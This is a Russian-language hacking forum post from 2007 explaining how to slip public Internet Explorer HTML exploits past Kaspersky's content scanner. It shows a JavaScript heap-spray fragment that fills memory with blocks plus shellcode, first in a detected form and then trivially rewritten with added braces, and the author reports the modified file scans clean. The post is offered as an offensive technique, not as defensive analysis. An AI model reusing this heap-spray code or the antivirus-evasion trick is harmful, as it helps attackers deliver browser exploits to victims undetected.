Обфускация html public-эксплоитов для IE (проверял на касперыче)

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by sn0w, 18 Jan 2007.

  1. sn0w

    sn0w Статус пользователя:

    Joined:
    26 Jul 2005
    Messages:
    1,021
    Likes Received:
    1,200
    Reputations:
    327
    Для того чтоб наибсти анализатор контента, например касперычевский (тестил онлайн версию), делаем простой экспанд блочных функций (обычно циклы):

    оригинал эксплоита (палится):
    ...
    while (bigblock.length<slackspace) bigblock+=bigblock;
    fillblock = bigblock.substring(0, slackspace);
    block = bigblock.substring(0, bigblock.length-slackspace);
    while(block.length+slackspace<0x40000) block = block+block+fillblock;
    memory = new Array();
    for (i=0;i<350;i++) memory = block + shellcode;
    ...


    модификация (нипалица):
    ...
    while (bigblock.length<slackspace){bigblock+=bigblock;}
    fillblock = bigblock.substring(0, slackspace);
    block = bigblock.substring(0, bigblock.length-slackspace);
    while(block.length+slackspace<0x40000){block = block+block+fillblock;}
    memory = new Array();
    for (i=0;i<350;i++){memory = block + shellcode;}
    ...

    + тестим...
    + файл чист ;)
     
    1 person likes this.